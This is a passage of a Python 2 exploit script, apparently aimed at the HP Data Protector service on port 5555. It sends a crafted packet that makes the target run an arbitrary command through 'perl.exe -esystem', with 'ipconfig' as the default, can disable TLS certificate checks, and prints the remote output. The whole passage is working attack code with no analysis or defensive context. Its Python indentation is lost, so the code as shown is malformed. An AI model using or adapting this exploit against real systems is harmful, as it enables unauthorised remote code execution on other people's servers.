parser.add_argument('-p', '--port', type=int)
parser.add_argument('-c', '--command')
parser.add_argument('ipaddress')
parser.set_defaults(encrypt=False,port=5555)
args = parser.parse_args()
HOST = args.ipaddress
PORT = args.port
command = 'ipconfig'
if args.command:
command = args.command
# initialise data
initdata = ("\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00"
"\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00"
"\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00"
"\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00"
"\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00")
OFFSET = 46
command = command.replace("\\", "\\\\")
command = command.replace("\'", "\\\'")
command_length = struct.pack(">I",OFFSET + len(command))
payload = command_length +\
"\x32\x00\x01\x01\x01\x01\x01\x01" +\
"\x00\x01\x00\x01\x00\x01\x00\x01" +\
"\x01\x00\x20\x32\x38\x00\x5c\x70" +\
"\x65\x72\x6c\x2e\x65\x78\x65\x00" +\
"\x20\x2d\x65\x73\x79\x73\x74\x65" +\
"\x6d('%s')\x00" % command
def get_data(sock):
response = ''
recv_len =1
while recv_len:
data = sock.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
return response
def get_dp_response(sock):
print "===== Response ====="
print
while True:
# Get information about response
packed_length = sock.recv(4)
if not packed_length:
break
n = struct.unpack(">I", packed_length)[0]
tmpresponse = sock.recv(n)
tmpresponse = tmpresponse.replace("\n", "")
tmpresponse = tmpresponse.replace("\x00", "")
tmpresponse = tmpresponse.replace("\xff\xfe\x39\x20", "")
if tmpresponse.upper().find("*RETVAL*") != -1:
break
else:
print tmpresponse
print
print "===== End ====="
print
client = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
if args.encrypt:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.set_ciphers('ALL')
try:
client.connect(( HOST, PORT ))
print "Connected"
if args.encrypt:
# send data protector init string
client.send(initdata)
response = get_data(client)
# setup tls
client = context.wrap_socket(client)
print "Encryption Enabled"
# send payload
client.send(payload)
print "Sent Payload"
print ""
print "===== Command ====="
print
print command
print
get_dp_response(client)
client.close()
except Exception as e:
print '[*] Exception. Exiting.'
print e
client.close()